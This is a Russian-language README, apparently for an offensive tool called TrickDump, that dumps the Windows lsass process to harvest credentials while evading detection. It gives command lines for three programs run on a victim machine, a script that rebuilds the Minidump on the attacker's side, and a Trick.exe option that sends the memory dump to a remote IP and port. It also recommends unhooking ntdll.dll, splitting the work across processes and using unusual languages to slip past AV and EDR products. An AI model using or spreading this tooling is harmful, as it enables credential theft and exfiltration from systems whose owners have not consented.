
Дамп lsass с использованием только функций NTAPI, создание 3 JSON и 1 ZIP файла... и генерация файла MiniDump позже!
TrickDump сбрасывает процесс lsass без создания Minidump-файла, генерируя вместо этого 3 JSON-файла и 1 ZIP-файл с дампами областей памяти. В три шага:
Lock: Получить информацию об ОС с помощью RtlGetVersion.
Shock: Получить привилегию SeDebugPrivilege с помощью NtOpenProcessToken и NtAdjustPrivilegeToken, открыть дескриптор через NtGetNextProcess и NtQueryInformationProcess, а затем получить информацию о модулях с помощью NtQueryInformationProcess и NtReadVirtualMemory.
Barrel: Получить привилегию SeDebugPrivilege, открыть дескриптор, затем получить информацию и сбросить области памяти с помощью NtQueryVirtualMemory и NtReadVirtualMemory.

В атакующей системе используйте скрипт create_dump.py для создания Minidump-файла:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
Преимущества этой техники:
На диске, в памяти или в сетевом трафике никогда не существует корректного Minidump-файла.
Всю атаку выполняет не одна программа или процесс, а три отдельных, что может вызвать меньше подозрений.
Программы используют только NTAPIS (этот проект является вариантом NativeDump).
Для получения дескриптора процесса lsass с правами доступа PROCESS_VM_OPERATION и PROCESS_VM_WRITE не используются OpenProcess или NtOpenProcess.
Каждая программа позволяет перезаписывать секцию «.text» библиотеки ntdll.dll для обхода перехвата API:
Доступен на разных языках:
Он не будет работать, если включён PPL, структура PEB недоступна для чтения или двоичные файлы не скомпилированы как 64-разрядные. Обновление: Теперь можно выполнять программы без чтения PEB — смотрите peb-unreadable ветку :)
Техника отлично работает в последних версиях Windows и протестирована с распространёнными решениями AV и EDR, но скрытность зависит от выбранного «flavour»: используйте необычные языки и настраивайте двоичные файлы для достижения наилучших результатов!
Программы выполняются на системе жертвы, создавая три JSON-файла (с информацией об областях памяти) и один ZIP-файл (с дампами каждой области памяти).
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
Вы можете выполнять программы напрямую, не перезаписывая библиотеку ntdll.dll:

Или использовать один из трёх различных методов перезаписи:

Затем генерируется Minidump-файл:

Если вы предпочитаете выполнять только один двоичный файл, Trick.exe создаёт ZIP-файл, содержащий 3 JSON-файла и ZIP-файл с областями памяти:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
Вы можете создать ZIP-файл локально, опционально используя метод перезаписи Ntdll:

Или отправить его на удалённый порт, указав в качестве второго и третьего параметров IP-адрес и порт:

В обоих случаях вы получите ZIP-файл, как показано ниже; распакуйте его и создайте Minidump-файл:
